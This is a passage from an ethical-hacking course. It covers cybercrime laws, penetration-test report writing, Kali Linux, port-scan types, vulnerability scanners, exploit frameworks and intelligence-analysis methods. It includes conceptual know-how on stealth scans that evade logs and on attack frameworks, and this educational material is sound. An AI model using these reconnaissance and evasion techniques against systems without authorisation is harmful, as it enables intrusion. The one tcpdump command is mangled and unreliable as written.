operation and facilitating others to do any of the above
• Fines and prison terms of up to 2 years
• Recently updated to cover Denial of service
• Up to 10 years in prison
• Prohibits distribution of hacking tools for criminal purposes
• Makes possession of hacking/security tools illegal where criminal intent can be established

Cyber crime laws in the US

These are probably the strictest, most comprehensive (and complex) in the world and include:

• Title 18 (Criminal code) Sections

• Section 1029
• Prohibits Fraud in relation to access devices, account numbers, passwords, credit cards etc.
• Section 1030
• Prohibits unauthorized computer access for government, financial and commerce systems
• Section 1362
• Prohibits injury or destruction of communications equipment
• Section 2510
• Prohibits unauthorized interception of traffic (Clauses to enable service providers to
monitor, and procedures for law enforcement to gain access)
• Section 2701
• Prohibits access to stored information without permission of owner (again, exceptions for
service providers)

• Cyber Security Enhancement Act (2002)

• Covers attacks which recklessly causes or attempts to cause death
• Severe penalties including possible life in prison

• US State laws
• In the US, state laws add an extra layer
18 of complexity
• The following location provides a good summary of the laws that apply specifically to
"Computer Hacking and Unauthorized Access" by state
 • http://www.ncsl.org/IssuesResearch/TelecommunicationsInformationTechnologyi/Compute
rHackingandUnauthorizedAccessLaws/tabid/13494/Default.aspx

In short there are MANY state laws related to computer crime, and interstate crimes may break lots of
them

Often State laws are more recent, further reaching, and more specific than USC laws

Cyber crime laws in Germany

• Penal Code Section 202a (Data espionage)

• Prohibits obtaining data without authorization, where it was specially protected against
unauthorized access
• Up to three years in prison
• 202c (Anti-Hacking Law)
• Prohibits creating, possessing or distributing tools used for computer attacks
• 303a and 303b
• Prohibits alteration and deletion of data and interference with data processing
• Up to 5 years in jail or a fine

Cyber crime laws in Japan

• Law 128 (1999) Unauthorized Computer Access Law

• Prohibits unauthorized access by
• Stealing access codes or bypassing access controls
• Fines and up to one year in prison

Reporting

Introduction

A lot of currently available penetration testing resources lack report writing methodology and approach
which leads to a very big gap in the penetration testing cycle. Report in its definition is a statement of
the results of an investigation or of any matter on which definite information is required (Oxford English
Dictionary).

A penetration test is useless without something tangible to give to a client or executive officer. A report
should detail the outcome of the test and, if you are making recommendations, document the
recommendations to secure any high-risk systems (Whitaker & Newman, 2005). Report Writing is a
crucial part for any service providers especially in IT service/ advisory providers. In pen-testing the final
result is a report that shows the services provided, the methodology adopted, as well as testing results
and recommendations. As one of the project managers at major electronics firm Said ”We don't actually
manufacture anything. Most of the time, the tangible products of this department [engineering] are
reports. ” There is an old saying that in the consulting business: “If you do not document it, it did not
19
happen.” (Smith, LeBlanc & Lam, 2004)
Many people consider business reports as dry, uninteresting documents, which take a great deal of time
and efforts to prepare. The reality is that they are an essential part of doing business and one's ability to
be proficient in this area is critical to the ability to pursue commercial success (McCarthy, 1979;
Ronstadt, 1984; Thompson, 2003c).

Penetration testing report presents the approach followed and the results of the vulnerability
assessment and penetration test of a target system with a detailed recommendation of how to mitigate
the risks.

Target reader for the penetration testing report will vary, executive summary will be read by the senior
management and the technical details will be read by the IT and/or information security responsible
people. This paper begins with a conventional approach to develop a penetration testing report starting
from collecting information, drafting the first report and ending with a professional report. As shown in
figure 1 the penetration testing report writing stages are: Report planning, Information collection,
writing the first draft and reviewing and finalization.

Report objectives

Report objectives help the reader to focus on the main points of the penetration testing and the
report e.g. PCI compliance once the objectives are clear both the reader and the penetration tester(s)
will know what exactly the aim of the project. This section explains why we conduct the penetration
testing and the benefit of it. This may be found in the Request for Proposal, be part of risk analysis, be
part of compliance or to know the current stat of the target testing environment.

Time

Penetration tester(s) need(s) to exactly mention the testing time for many reasons. This may
include:
• In mission critical infrastructure the organization may need to make sure some key IT
persons are available during the test in case some thing does wrong e.g. server crash.
• In rapidly changing IT infrastructure, the changes need to be freeze in the penetration
testing scope during the test to make sure that the testing is exactly assessing the
current IT (the penetration testing scope).
• Even though there is no 100% security, the report will show the risks in the penetration
testing scope during this period of time any risks after this time may arise because of
some changes in the IT infrastructure of changing in the configuration.

20
Pen Tester needs to make sure that sufficient time is allotted in the project plan.
Consider the target audiences

Penetration testing reports usually have a number of target audiences/audience groups to

reach, so a report will often have a hierarchical structure to support different levels of details. In
designing the report form and style, the following target audience characteristics should be considered:
• Their need for the report (i.e. operational planning, resource allocation, approval),

• Position in the organization

• Knowledge of the report topic(i.e. purpose),

• Responsibility or authority to make decision based on the report, and

• Personal demographics (i.e. age, alliances, attitudes).

Report audiences include Information Security Manager, Chief Information Security Officer,
Information Technology Manager and technical teams. More information about the scope and target
audiences can be found also in the scope of work of the assignment.

Report classification

Since Penetration Testing Report have sensitive information such as, servers IP addresses and
its information, some applications information, vulnerability, threats, exploits and more, it should be
considered to be in every high rank of confidentiality e.g. TOP SECRET and the report will be dealt with
accordingly. The report classification will be based on the target organization information classification
policy.

Report distribution

The number of copies of the report, the report format (hardcopy, softcopy) and the delivery
procedure should be carefully implemented to control the report distribution and make sure it only
arrives to the right person in the right time based on the need to know the bases. Type of report
delivery, number of copies and report distribution should be addressed in the scope of work. Hardcopies
can be controlled by printing a limited number of copies attached with its number and the receiver
name. Table 1 shows a sample table that can be utilized to control hardcopies.
Copy No Department Name Date

Table 1 Penetration Testing Report distribution control

21
Each copy will formally hand over to the target person. Softcopy needs to be carefully controlled in
a secure server owned by the department that has requested the penetration testing service.
Distributing the softcopy of the report normally will be controlled by the document owner (report
owner) and it will be under his responsibility. Finally after submitting the report, the penetration tester
should delete any available information that he have and inform the client that all related information
has have been erased (This step should be clearly mentioned and agreed upon in the service agreement
documents. As Andrew Whitaker and Daniel P. Newman (Whitaker & Newman, 2005) stated that 'your
ethical responsibilities do not stop when the test is done, however. After the test is completed, you
should perform due diligence to ensure the confidentiality of the test results. Some penetration testing
firms have known to circulate test results to other companies as samples of their work. These results
contain detailed steps on how to break into an e-finance website for a particular financial institution and
collect sensitive customer data. You can imagine the shock of the institution when it discovered these
contents being distributed to its competitors! Therefore, as a penetration tester, you are under an
ethical obligation to keep the details of the report confidential. Shred any hard copies of the report, and
delete all soft copies using an erasing utility such as PGP or Axcrypt.

Information Collection

Due to the nature of penetrating testing and utilizing more than one way, tools, computers, etc.,
penetration tester needs to make sure that he collected all the information in all stages, system used
and tools. This will ease his report writing and make all information that he need available either in each
stage, moving to the next stage, using information and analyzing it either in the penetration testing
activity or during report writing. In case of the penetration testing is conducted by a team, a centralized
and secure location need to be located to share the information.
Collecting the information during the penetration testing stages/steps is a very important step to be
able to write the report. This include, scanning results, vulnerability assessment, snap shots of the
findings and exploits (if any), etc. Pen-tester needs to consider information collection in all steps that he
performs during the test. Pen testers may utilize some tools such as:
• Taking notes
• Capturing screenshots
• Logging for all activities (This will help in a very critical infrastructure to proof what the
pen-tester did and in case something happened). In Linux environment to capture all
traffic this command will help: # tcpdump —nn —S 0 —w filename.pcap

Writing the first draft

22
Start writing a rough draft report using all relevant information gathered in stage 2.2 using the
relevant notes. At this stage, it is highly recommended not to be concerned about proofreading and
editing. Typically, 60% of report writing time will be in writing the draft.
It may be helpful to use a symbol such as "#" or adding highlights to mark the spot where pen-tester
needs to check back later to edit a paragraph. Delete the symbol once editing is completed.

Review and finalization

Draft needs to be reviewed to enhance it, peer review is highly recommended to have a second
opinion. In case the penetration testing has been conducted by a team, all team members need to
review and/or edit it. Peer review depends on the type of penetration testing conducted, if it is a black
box penetration testing, one of the penetration testing team needs to review the report. If the test is
white penetration testing, someone with knowledge of the target system will review the report
collaboratively. This will lead to much better results. Report review depends also on the organization's
procedure and the way that they handle the service. After updating the report, QA team may also need
to review it and make sure it follows the company standards.

Report Format

This section describes the penetration testing report format and why we need each subsection.
Sample Penetration testing report using the report format described here is shown in Appendix A.

Page design

In report planning, page design needs to be decided upon to develop the look and feel of the
report. This includes but not limited to the header and footer content, fonts to be used and colors. This
will be controlled based on how the service provider's document looks and feels.

Document Control

Document control will be based on the service provider control of document procedure. Here are
some recommended sections and contents.

Cover Page

This will show the report name, report version, date, the author/service provider name, cover page
may also include document serial number and target organization name.

Document Properties

In a small table, this will show the document title, version, author, penetration testers name, name
of persons whom reviewed the report, approved by whom and the document classification.
23
Version control
 This will show the Version Control for the report. Version control will track the report changes by
recording the change description, report version, date of the change and the change author.

List of Report Content

Table of Content

This will list all sections of the report in a sequence with the page numbers. Typically, for reports
with less than 5 pages, a content page is not necessary. If the report includes some appendices, the
titles of these should be listed but not page numbered.

List of illustrations

If there are tables or charts included in the report, list them in this section with page numbers.

Executive Summary

"Write this after you’ve completed writing the report. Think of what you’d say if you ran into an
executive in the elevator and had one minute to summarize your findings" (Snedaker, 2006). The
Executive Summary summarizes the report content in a small paragraph containing a statement of the
tasks accomplished, methodology used, high level findings and recommendations. Executive summery
target executives where high level findings/issues need to be raised and recommended solutions need
to be presented. This section normally is written after writing the report.

Scope of work

Scope of work clearly identifies the scope of the project, IP addresses that has been tested, type
of penetration testing perform and any other information that affect the time and budget of the project.

Identifying the scope will help

Project Objectives

Provide the objectives that the organization will gain after knowing the risks related to the
penetration of the target IP addresses/ system or application and what they will get after mitigating
these risks by implementing the recommendations in the penetration testing report.
The penetration testing objective needs to be linked with the information security objectives,
which are expected to be linked with the organization's objectives.
If the penetration testing is part of compliance project the report needs to mention this
requirement and how the pen-testing will help to achieve it.

Assumption 24

In case there are some assumptions that the pen-tester considers before or during the test, the
assumptions need to be clearly shown in the report. Providing the assumption will help the report
audiences to understand why penetration testing followed a specific direction.
Timeline

This will show the penetration testing start and end dates. This will provide the report target
audiences with information about:
1. Testing duration
2. The tested IP address's risks, from pen-testing point of view, during this period
only.
3. The pen-tester does not hold any responsibilities if some risk aroused after this
period of time due to some changes in the target systems.
Summary of Findings

In a glance view show the number of discovered risks based on priorities. "When you construct
the report of your findings, be careful to avoid statements that are inflammatory, unsupported by the
evidence, speculative, or overly frightening." (Smith et al, 2004).

Summary of Recommendation

Based on the analysis of risks and the high level finding, the high level recommendation for the
target organization need to be described.

Methodology

This section provides the needed information about how the penetration testing was conducted.
What steps have been followed to collect the information, analyze them, the risk rating methodology
used to calculate the risk for each piece of vulnerability and it may also contain the tools that the pen-
tester used for each stage.

Detail findings

This section provides detailed information for each finding. Present the findings in the simplest
way as possible. For each finding describe the threat level, vulnerability rating, analysis of the issue and
the impact on the information asset (the IP address) if the threat agent was able to exploit the
vulnerability, Risk Rating and Recommendation.

Each one of these elements will be briefed in the next paragraphs. There are a number of ways
in which results can be presented. Here are a few:
25
• Tables
 • Graphs
• Pie or Bar charts
• Diagrams
Vulnerabilities

For each piece of vulnerability, a clear description should be shown about the source of the
vulnerability, its impact and the likelihoods of the vulnerability to be exploited. Report should explain
the source of the vulnerability and the root cause of the problem not the symptom of it. This will
mitigate the vulnerability persistence.

Impact

The report should explain the impact of the vulnerability's exploitation by the threat agent.
Likelihood

Likelihood is "the probability that a potential vulnerability may be exercised within the construct
of the associated threat environment" (Stoneburner, Goguen1, & Feringa1, 2002). The report should
state the likelihood of a vulnerability being exploited by the threat source (e.g. a hacker). Practical
penetration tester may think of the likelihood as a combination of ease of access, level of access gained,
difficulty of discovering the vulnerability and exploiting it, and the value of the asset to the target
organization.

Risk evaluation
"Process of comparing the estimated risk against given risk criteria to determine the significance
of the risk "(ISO/IEC Guide 73:2002).

Recommendation

"Presenting a piece of vulnerability in your findings without documenting how the vulnerability
could be managed is only half of your security assessment job. The other half is presenting potential
solutions, mitigations, or other suggestions for reducing or eliminating the vulnerability." (Smith et al.,
2004).
Based on the risk rating and the target asset, the penetration tester should provide an
acceptable recommendation with alternatives. For example, for weak authentication protocols being
used to validate accounts for accessing a customer database through the ASP Web application, pen
tester may provide more than option for mitigating the risk such as:
1- Implement Public Key Infrastructure (PKI) by providing certificate to all users of the
26
database and require certificate-based authentication on the front-end
website in addition to the forms-based authentication on the website. This solution will require
 the design and implementation of a PKI and Active Directory. Additionally, all client operating
systems must run Microsoft Windows 2000 or later.
2- Import the accounts database to Active Directory and implement basic authentication over
SSL on the website. This solution will require the design and implementation of Active
Directory.
3- Continue to use the current custom authentication protocol, which is highly susceptible to
spoofing or man-in-the-middle attacks.
Penetration Tester may also utilize Annex A - Control objectives and controls ISO/IEC
27001:2005 to select some controls that will help in minimizing the risk discovered.

References

It is important to give precise details of all the work by other authors, which has been referred to
within the report. Details should include:
•Author’snameandinitials
• Date of publication
• Title of the book, paper or journal
• Publisher
• Place of publication
• Page numbers
• Details of the journal volume in which the article has appeared. References
should be listed in alphabetical order of the authors' names. Make sure that your
references are accurate and comprehensive.

Appendices

An appendix contains additional information related to the report but which is not essential to the
main findings. This can be consulted if the reader wishes to but the report should not depend on this.
Such information may include the scanning result, vulnerability assessment results, or other
information, which may be useful for the reader.

Glossary
Define the meaning of technical terms.

Appendix A shows a Sample report of a penetration testing.

27
Penetration testing reports
List of public available penetration testing reports is available here:

https://github.com/juliocesarfort/public-pentesting-reports

Lecture 1.2. Ethical hacking tools overview

Ethical hacking workplace: Kali Linux
Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and
Security Auditing. Kali contains several hundred tools aimed at various information security tasks, such
as Penetration Testing, Forensics and Reverse Engineering. Kali Linux is developed, funded and
maintained by Offensive Security, a leading information security training company.

Kali Linux was released on the 13th March, 2013 as a complete, top-to-bottom rebuild of
BackTrack Linux, adhering completely to Debian development standards.

More than 600 penetration testing tools included: After reviewing every tool that was included in
BackTrack, we eliminated a great number of tools that either simply did not work or which duplicated
other tools that provided the same or similar functionality. Details on what’s included are on the Kali
Tools site.

1. Open source Git tree: We are committed to the open source development model and our
development tree is available for all to see. All of the source code which goes into Kali Linux is
available for anyone who wants to tweak or rebuild packages to suit their specific needs.
2. FHS compliant: Kali adheres to the Filesystem Hierarchy Standard, allowing Linux users to easily
locate binaries, support files, libraries, etc.
3. Wide-ranging wireless device support: A regular sticking point with Linux distributions has been
supported for wireless interfaces. We have built Kali Linux to support as many wireless devices
as we possibly can, allowing it to run properly on a wide variety of hardware and making it
compatible with numerous USB and other wireless devices.
4. Custom kernel, patched for injection: As penetration testers, the development team often
needs to do wireless assessments, so our kernel has the latest injection patches included.
5. Developed in a secure environment: The Kali Linux team is made up of a small group of
individuals who are the only ones trusted to commit packages and interact with the repositories,
all of which is done using multiple secure protocols.
6. GPG signed packages and repositories: Every package in Kali Linux is signed by each individual
developer who built and committed it, and the repositories subsequently sign the packages as
well.
7. Multi-language support: Although penetration tools tend to be written in English, we have
ensured that Kali includes true multilingual support, allowing more users to operate in their
native language and locate the tools they need for the job.
8. Completely customizable: We thoroughly understand that not everyone will agree with our
design decisions, so we have made it as easy as possible for our more adventurous users to
customize Kali Linux to their liking, all the way down to the kernel.
9. ARMEL and ARMHF support: Since ARM-based single-board systems like the Raspberry Pi and
BeagleBone Black, among others, are becoming more and more prevalent and inexpensive, we
knew that Kali’s ARM support would need to be as robust as we could manage, with fully
working installations for both ARMEL and ARMHF systems. Kali Linux is available on a wide
range of ARM devices and has ARM repositories integrated with the mainline distribution so
tools for ARM are updated in conjunction with the rest of the distribution.
28
 Kali Linux is specifically tailored to the needs of penetration testing professionals, and therefore all
documentation on this site assumes prior knowledge of, and familiarity with, the Linux operating system
in general.

Targets: Metasploitable 2, etc

There is a plenty of vulnerable targets to practice:

Source: http://www.amanhardikar.com/mindmaps/PracticeUrls.html

Portscanners

29
In the world of information security, port scanning is a vital part. Enterprises, organizations or regular
users use port scans to probe systems for open ports and their respective services. If you think of a
computer as a hallway of doors, port scanning can be compared with walking through the hallway
looking for open doors.

Penetration testers like myself use this information to find entry ways into the computer. Port scanning
is part of the “active reconnaissance” phase, a vital part of any penetration test. I aim to explain to you a
few of the basic concepts of port scanning.

PING SCAN

Ping Scans are used to sweep a whole network block or a single target to check to see if the
target is alive. It sends an ICMP echo request to the target – if the response is an ICMP reply, then you
know the target is alive. However, it is increasingly becoming more common that ICMP pings are being
blocked by firewalls and routers that you will likely have to resort to other methods to accurately tell if
the target is alive.

TCP HALF-OPEN

This is probably the most common type of port scan. This is a relatively quick scan that can
potentially scan thousands of ports per second. It works this way because it does not complete the TCP
handshake process. It simply sends a packet with the SYN flag set and waits for the SYN-ACK from the
target and does not complete the connection.

When you initiate a TCP connection you first send a packet with the SYN (synchronize) flag set to
the destination. The destination then acknowledges this synchronize request with a packet with the
SYN-ACK (synchronize-acknowledge) flag set. Finally, the sender acknowledges that it got the SYN-ACK
response packet by sending the destination a packet with the ACK flag set. Now, a connection is
established.

By not sending the final ACK packet to the target after receiving a SYN-ACK, a connection is not
established; however, you now know if the target/port is available and listening.

If you receive a RST (reset) packet back from the target, then you know that the target is active;
however, the port is closed. If no response is received and you know that the target is alive, then the
port is considered filtered.

TCP CONNECT

30
This is essentially the same as the half-open scan above but instead, we finish the handshake process
and establish a connection by sending the final ACK packet. This is a much slower means of port
scanning as it takes more packets to finish.

UDP

UDP scans are most common to detect DNS, SNMP and DHCP services. UDP scans work by
sending a packet, which is usually empty. This can be changed or even set to a random payload for each
port.

If the target responds with an ICMP unreachable error (type 3, code 3) packet, you know the port is
considered closed. If it responds with an ICMP unreachable error packet with other codes, the packet is
considered filtered. If no response is received at all, the port is considered open or filtered. The reason
why it might be filtered is that packet filters might be in use that are blocking the communication.
Version enumeration could very well help in knowing if packet filters are involved.

The problem with using any communication with UDP is that it is unreliable – it has no way of
creating an established connection or synchronizing the packets like TCP does. For this reason, UDP
scans are typically slow. Because you are waiting for a packet that may never come, nor do you have any
real way of telling if the packet even got there in the first place, you might have to send numerous
packets then wait to make sure a port is considered open or filtered.

STEALTH SCANNING – NULL, FIN, X-MAS

These scan types are known as stealth scanning because you are crafting the packets flags in
such a way that you are trying to induce some type of response from the target without actually going
through the handshaking process and establishing a connection.

The FIN scan sends a packet that would never occur in the real world. It sends a packet with the
FIN flag set without first establishing a connection with the target. If a RST (reset) packet is received
back from the target due to the way the RFC is written, the port is considered closed. If no packet is
received at all, the port is considered open.

The X-MAS tree scan gets its name because it “lights up the packet light a Christmas tree.” It sets
a TCP packet with URG, PUSH, FIN flags and fires it at the target. Again, if no packet is received, the port
is considered open and if a RST packet is received, the port is considered closed.

NULL scans also send a packet that should never occur in the real world. It does not set any flags
on the TCP packet and fires it at the target. Like above, a RST packet response means it’s a closed port –
no response is considered an open port.
31
 These scans are great because they are unlikely to appear in logs and are some of the most
minimal port scanning techniques available. The bad thing is, though, the way Microsoft implements the
TCP/IP stack, all ports will be considered closed. However, if you DO receive an open port, you now
know that the target is NOT running a Microsoft Operating System.

As a conclusion, port scanning is one of the first steps in any vulnerability analysis or penetration
test. Knowing which ports are open is the beginning of being able to actively communicate with the
target. One of the best port scanners available is www.nmap.org. Nmap is an incredibly powerful and
versatile port scanner with its own scripting engine. I can’t stress enough how much nmap comes in
handy and is used professionally.

Vulnerability scanners
Vulnerability scanning methodology mainly focuses on the different steps that an attacker might
follow in order to perform an attack. It tries to use exactly the same discovery and information gathering
techniques that will be used by an attacker.

The scanning engine is composed of different modules that handle specific scanning tasks and
are chained in an intelligent way in order to avoid performing any meaningless vulnerability checks. It
only performs vulnerability detection based on services that were discovered and properly identified.

The scanning engine performs scans in a very dynamic manner to optimize speed and
performance. The following is a simplified description of the main steps of a scan:

1. Checking if the remote host is alive - The first step is to to check if the host to be scanned is up
and running in order to avoid wasting time on scanning a dead or unreachable host. This
detection is done by probing some well-known TCP and UDP ports. By default, we probe TCP
Ports 21-23, 25, 53, 80, 88, 110-111, 135, 139, 443, 445 and UDP Ports 53, 111, 135, 137, 161,
500. This can be changed by editing the option profile. If the scanner receives at least one reply
from the remote host, it continues the scan.
2. Firewall detection - The second test is to check if the host is behind any firewalling/filtering
device. This test enables the scanner to gather more information about the network
infrastructure and will help during the scan of TCP and UDP ports.
3. TCP / UDP Port scanning - The third step is to detect all open TCP and UDP ports to determine
which services are running on this host. The number of ports is configurable, but the default
scan is approximately 1900 TCP ports and 180 UDP ports.
4. OS Detection - Once the TCP port scanning has been performed, the scanner tries to identify the
operating system running on the host. This detection is based on sending specific TCP packets to
open and closed ports.
5. TCP / UDP Service Discovery - Once TCP/UDP ports have been found open, the scanner tries to
identify which service runs on each open port by using active discovery tests.
6. Vulnerability assessment based on the services detected - Once the scanner has identified the
specific services running on each open TCP and UDP port, it performs the actual vulnerability
assessment. The scanner first tries to check the version of the service in order to detect only
vulnerabilities applicable to this specific service version. Every vulnerability detection is non-
intrusive, meaning that the scanner never exploits a vulnerability if it could negatively affect the
host in any way.
32
Best known vulnerability scanners

Nessus

The Nessus vulnerability scanner provides patch, configuration, and compliance auditing;
mobile, malware, and botnet discovery; sensitive data identification and many other features.

Operating System: Windows, Mac OS X, OpenBSD, FreeBSD, Solaris, and/or other UNIX variants

Price: Paid

OpenVAS

The Open Vulnerability Assessment System (OpenVAS) is a framework of several services and
tools offering a comprehensive and powerful vulnerability scanning and vulnerability management
solution.

The actual security scanner is accompanied with a daily updated feed of Network Vulnerability
Tests (NVTs).

All OpenVAS products are Free Software. Most components are licensed under the GNU General
Public License (GNU GPL).

Operating System: Linux, Windows and other operating systems.

Price: Free

Nexpose

Nexpose, the vulnerability management software, proactively scans your environment for mis-
configurations, vulnerabilities, and malware and provides guidance for mitigating risks. Experience the
power of Nexpose vulnerability management solutions by knowing the security risk of your entire IT
environment including networks, operating systems, web applications, databases, and virtualization.

Exposing security threats including vulnerabilities, mis-configurations and malware.

Prioritizing threats and getting specific remediation guidance for each issue.

Integrating with Metasploit to validate security risk in your environment.

Operating System: Windows, Linux

Price: Paid

MBSA

The Microsoft Baseline Security Analyzer provides a streamlined method to identify missing security
updates and common security misconfigurations. MBSA 2.3 release adds support for Windows 8.1,
Windows 8, Windows Server 2012 R2, and Windows 33 Server 2012. Windows 2000 will no longer be
supported with this release.
Operating System: Windows

Price: Freeware

Exploit frameworks

Exploit frameworks are the keystone of both hostile attackers and penetration tester’s toolkits.
These frameworks provide a consistent environment from which to create and/or run exploit code
against a given target. A far cry from the days when an attacker would have to code his own custom
exploit for each vulnerability the scripts used within these frameworks are both freely shared and sold
as part of a subscription service, and the basic set contain exploits for hundreds of different targets,
along with the tools to allow an attacker to stay hidden. Currently there are three frameworks that are
widely used.

Of the many benefits provided by exploit frameworks the most valuable would be
modularization of exploit code. Before these frameworks were created exploits and payloads were
heavily coupled and often a given exploit script would only do one thing, such as create a new user on
the compromised system, or execute a command shell, but now a given exploit can be used to deliver
virtually any payload. Code reuse and modularization allowed exploitation scripts to become much
cleaner and much more concise as the basic functionality it would need was already included in the
frameworks library.

Metasploit

Metasploit is the open source exploit framework. Originally written by H D Moore using Perl, the
current version is now written in Ruby and maintained by a group of contributors. As of the time of this
writing the current version of metasploit ships with 303 exploits, the majority of which are targeted at
the Microsoft Windows platform, but also include exploits for Apple OSX, Linux, and various other Unix
style operating systems. Many of the exploits publically released today on sites such as milw0rm are
published as a metasploit module.

CANVAS

CANVAS, produced by Immunity, is sold on a subscription model. Shipping with over 400 exploits
an average of 4 exploits are added each month. Source code is available to those who purchase
CANVAS, and the exploits themselves are rigorously QA’d before release. Users are not limited to those
exploits created by Immunity, as several other vendors offer exploit packages for it as well. Also
included are numerous freely available tools such as the exploit creation framework MOSDEF and the
recently released DR Rootkit.

IMPACT

IMPACT, produced by Core, is another commercially available exploit framework that delivers
point and click exploitation with the additional functionality of report creation. As with CANVAS, IMPACT
modules are QA’d before and after release and are continuously updated. Core also provides “Agent”
technology that helps an attacker gather information control compromised systems; this framework sets
itself apart in the areas of information gathering and management. IMPACT also integrates with many
popular vulnerability scanners and patch management tools.

Other frameworks:
34
• Elliot
• ExploitHub
Chapter 2 Intelligence Gathering
Lecture 2.1 Structured approaches for information gathering
Open Source Intelligence methods

Open-source intelligence is the intelligence discipline that pertains to intelligence produced from
publicly available information that is collected, exploited, and disseminated in a timely manner to an
appropriate audience for the purpose of addressing a specific intelligence and information requirement

OSINT is also intelligence developed from the overt collection and analysis of publicly available and
open-source information. OSINT is derived from the systematic collection, processing, and analysis of
publicly available, relevant information in response to intelligence requirements. Two important related
terms are open source and publicly available information:

• Open source is any person or group that provides information without the expectation of
privacy—the information, the relationship, or both is not protected against public disclosure.
Open-source information can be publicly available but not all publicly available information is
open source. Open sources refer to publicly available information medium and are not limited
to physical persons.
• Publicly available information is data, facts, instructions, or other material published or
broadcast for general public consumption; available on request to a member of the general
public; lawfully seen or heard by any casual observer; or made available at a meeting open to
the general public.

OSINT collection is normally accomplished through monitoring, data-mining, and research. Open- source
production supports all-source intelligence and the continuing activities of the intelligence process
(generate intelligence knowledge, analyze, assess, and disseminate).

Source: https://fas.org/irp/doddir/army/atp2-22-9.pdf

Structured analytic techniques overview;

THE “MIND-SET” CHALLENGE

Using the analytic techniques contained in this primer will assist analysts in dealing with the
perennial problems of intelligence: the complexity of international developments, incomplete and
ambiguous information, and the inherent limitations of the human mind. Understanding the intentions
and capabilities of adversaries and other foreign actors is challenging, especially when either or both are
concealed. Moreover, transnational threats today pose even greater complexity, in that they involve
multiple actors—including nonstate entities—that can adapt and transform themselves faster than
those who seek to monitor and contain them. Finally, globalization has increased the diversity of
outcomes when complex, interactive systems such as financial flows, regional economies or the
international system as a whole are in flux.2 The first hurdle for analysts is identifying the relevant and
diagnostic information from the increasing volume of ambiguous and contradictory data that is acquired
through open source and clandestine means. Analysts must also pierce the shroud of secrecy—and
sometimes deception—that state and nonstate actors use to mislead. A systematic approach that
considers a range of alternative explanations and outcomes offers one way to ensure that analysts do
not dismiss potentially relevant hypotheses and supporting information resulting in missed
opportunities to warn.
35
Cognitive and perceptual biases in human perception and judgment are another important
reason for analysts to consider alternatives. As Richards Heuer and others have argued, all individuals
assimilate and evaluate information through the medium of “mental models” (sometimes also called
“frames” or “mind-sets”). These are experiencebased constructs of assumptions and expectations both
about the world in general and more specific domains. These constructs strongly influence what
information analysts will accept—that is, data that are in accordance with analysts’ unconscious mental
models are more likely to be perceived and remembered than information that is at odds with them.
Mental models are critical to allowing individuals to process what otherwise would be an
incomprehensible volume of information. Yet, they can cause analysts to overlook, reject, or forget
important incoming or missing information that is not in accord with their assumptions and
expectations. Seasoned analysts may be more susceptible to these mind-set problems as a result of
their expertise and past success in using time-tested mental models. The key risks of mindsets are that:
analysts perceive what they expect to perceive; once formed, they are resistant to change; new
information is assimilated, sometimes erroneously, into existing mental models; and conflicting
information is often dismissed or ignored.

Diagnostic Techniques

• Key Assumptions Check

• Quality of Information Check
• Indicators or Signposts of Change
• Analysis of Competing Hypotheses (ACH)

Contrarian Techniques

• Devil’s Advocacy
• Team A/Team B
• High-Impact/Low-Probability Analysis
• ”What If?” Analysis
• Imaginative Thinking Techniques
• Brainstorming
• Outside-In Thinking
• Red Team Analysis
• Alternative Futures Analysis

Source: http://www.analysis.org/structured-analytic-techniques.pdf

Analysis of Competing Hypotheses

Analysis of competing hypotheses, sometimes abbreviated ACH, is a tool to aid judgment on
important issues requiring careful weighing of alternative explanations or conclusions. It helps an
analyst overcome, or at least minimize, some of the cognitive limitations that make prescient
intelligence analysis so difficult to achieve.

ACH is an eight-step procedure grounded in basic insights from cognitive psychology, decision
analysis, and the scientific method. It is a surprisingly effective, proven process that helps analysts avoid
common analytic pitfalls. Because of its thoroughness, it is particularly appropriate for controversial
issues when analysts want to leave an audit trail to show what they considered and how they arrived at
their judgment.

When working on difficult intelligence issues, analysts are, in effect, choosing among several
alternative hypotheses. Which of several possible36explanations is the correct one? Which of several
possible outcomes is the most likely one? As previously noted, this book uses the term "hypothesis" in
its broadest sense as a potential explanation or conclusion that is to be tested by collecting and
presenting evidence.

Analysis of competing hypotheses (ACH) requires an analyst to explicitly identify all the
reasonable alternatives and have them compete against each other for the analyst's favor, rather than
evaluating their plausibility one at a time.

The way most analysts go about their business is to pick out what they suspect intuitively is the
most likely answer, then look at the available information from the point of view of whether or not it
supports this answer. If the evidence seems to support the favorite hypothesis, analysts pat themselves
on the back ("See, I knew it all along!") and look no further. If it does not, they either reject the evidence
as misleading or develop another hypothesis and go through the same procedure again. Decision
analysts call this a satisficing strategy. Satisficing means picking the first solution that seems satisfactory,
rather than going through all the possibilities to identify the very best solution. There may be several
seemingly satisfactory solutions, but there is only one best solution.

Simultaneous evaluation of multiple, competing hypotheses is very difficult to do. To retain

three to five or even seven hypotheses in working memory and note how each item of information fits
into each hypothesis is beyond the mental capabilities of most people. It takes far greater mental agility
than listing evidence supporting a single hypothesis that was pre-judged as the most likely answer. It can
be accomplished, though, with the help of the simple procedures discussed here. The box below
contains a step-by-step outline of the ACH process.

Step-by-Step Outline of Analysis of Competing Hypotheses

1. Identify the possible hypotheses to be considered. Use a group of analysts with different
perspectives to brainstorm the possibilities.
2. Make a list of significant evidence and arguments for and against each hypothesis.
3. Prepare a matrix with hypotheses across the top and evidence down the side. Analyze the
"diagnosticity" of the evidence and arguments--that is, identify which items are most helpful in
judging the relative likelihood of the hypotheses.
4. Refine the matrix. Reconsider the hypotheses and delete evidence and arguments that have no
diagnostic value.
5. Draw tentative conclusions about the relative likelihood of each hypothesis. Proceed by trying to
disprove the hypotheses rather than prove them.
6. Analyze how sensitive your conclusion is to a few critical items of evidence. Consider the
consequences for your analysis if that evidence were wrong, misleading, or subject to a different
interpretation.
7. Report conclusions. Discuss the relative likelihood of all the hypotheses, not just the most likely
one.
8. Identify milestones for future observation that may indicate events are taking a different course
than expected.

Step 1

Identify the possible hypotheses to be considered. Use a group of analysts with different
perspectives to brainstorm the possibilities.

37
 Psychological research into how people go about generating hypotheses shows that people are
actually rather poor at thinking of all the possibilities. If a person does not even generate the correct
hypothesis for consideration, obviously he or she will not get the correct answer.

It is useful to make a clear distinction between the hypothesis generation and hypothesis
evaluation stages of analysis. Step 1 of the recommended analytical process is to identify all hypotheses
that merit detailed examination. At this early hypothesis generation stage, it is very useful to bring
